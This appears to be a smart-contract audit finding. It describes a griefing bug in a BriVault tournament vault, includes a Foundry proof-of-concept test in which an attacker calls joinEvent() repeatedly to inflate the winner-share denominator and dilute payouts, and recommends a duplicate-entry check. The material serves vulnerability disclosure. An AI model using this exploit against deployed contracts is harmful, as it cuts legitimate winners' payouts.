The POC demonstrates a griefing attack where an attacker dilutes legitimate winners' payouts by creating duplicate tournament entries. The test sets up multiple legitimate participants, then has an attacker call joinEvent() repeatedly to bloat the usersAddress array. When winner shares are calculated, the inflated array causes massive dilution of payout amounts.
The test verifies that legitimate winners receive severely reduced payouts due to the attacker's duplicate entries artificially increasing the total winner share denominator.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: Double Country Assignment Bug
* Impact: Griefing attack diluting all winner payouts
*
* Root Cause: joinEvent() allows unlimited duplicate entries, bloating usersAddress array
* that _getWinnerShares() iterates through. When _getWinnerShares() counts each duplicate,
* it inflates totalWinnerShares and dilutes all winners' payouts.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract DoubleCountryAssignmentExploitTest is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(attacker, 1000 ether);
asset.mint(victim1, 1000 ether);
asset.mint(victim2, 1000 ether);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(victim1);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(victim2);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
function test_DoubleCountryAssignmentBug_ArrayBloating() public {
vm.startPrank(victim1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(victim2);
vault.deposit(200 ether, victim2);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(attacker);
vault.deposit(200 ether, attacker);
vault.joinEvent(0);
vm.stopPrank();
assertEq(vault.numberOfParticipants(), 3, "Three participants initially");
assertEq(vault.usersAddress(0), victim1, "Victim1 at index 0");
assertEq(vault.usersAddress(1), victim2, "Victim2 at index 1");
assertEq(vault.usersAddress(2), attacker, "Attacker at index 2");
vm.startPrank(attacker);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vm.stopPrank();
assertEq(vault.numberOfParticipants(), 7, "Participants count inflated to 7");
assertEq(vault.usersAddress(3), attacker, "Attacker duplicated at index 3");
assertEq(vault.usersAddress(4), attacker, "Attacker duplicated at index 4");
assertEq(vault.usersAddress(5), attacker, "Attacker duplicated at index 5");
assertEq(vault.usersAddress(6), attacker, "Attacker duplicated at index 6");
}
function test_WinnerShareInflation_DilutionEffect() public {
vm.startPrank(victim1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(victim2);
vault.deposit(200 ether, victim2);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(attacker);
vault.deposit(200 ether, attacker);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0);
vm.stopPrank();
uint256 attackerShares = vault.balanceOf(attacker);
uint256 expectedInflatedTotal = (2 * 198 ether) + (5 * 198 ether);
uint256 actualTotalWinnerShares = vault.totalWinnerShares();
assertEq(actualTotalWinnerShares, expectedInflatedTotal, "totalWinnerShares inflated by duplicates");
assertEq(attackerShares, 198 ether, "Attacker has normal individual shares");
}
function test_PayoutDilution_GriefingAttack() public {
vm.startPrank(victim1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(victim2);
vault.deposit(200 ether, victim2);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(attacker);
vault.deposit(200 ether, attacker);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0);
vm.stopPrank();
uint256 vaultBalance = asset.balanceOf(address(vault));
uint256 totalWinnerShares = vault.totalWinnerShares();
uint256 expectedPayoutPerShare = vaultBalance * 1 ether / totalWinnerShares;
vm.startPrank(victim1);
uint256 v1BalanceBefore = asset.balanceOf(victim1);
vault.withdraw();
uint256 v1BalanceAfter = asset.balanceOf(victim1);
vm.stopPrank();
uint256 v1Payout = v1BalanceAfter - v1BalanceBefore;
vm.startPrank(victim2);
uint256 v2BalanceBefore = asset.balanceOf(victim2);
vault.withdraw();
uint256 v2BalanceAfter = asset.balanceOf(victim2);
vm.stopPrank();
uint256 v2Payout = v2BalanceAfter - v2BalanceBefore;
vm.startPrank(attacker);
uint256 aBalanceBefore = asset.balanceOf(attacker);
vault.withdraw();
uint256 aBalanceAfter = asset.balanceOf(attacker);
vm.stopPrank();
uint256 aPayout = aBalanceAfter - aBalanceBefore;
uint256 normalExpectedPayout = 198 ether;
uint256 dilutionFactor = totalWinnerShares / (3 * 198 ether);
assertLt(v1Payout, normalExpectedPayout, "Victim1 payout diluted");
assertLt(v2Payout, normalExpectedPayout, "Victim2 payout diluted");
assertLt(aPayout, normalExpectedPayout, "Attacker payout also diluted (griefing)");
}
}
To prevent duplicate tournament entries and eliminate the griefing vector, implement a check to ensure users can only join each country once.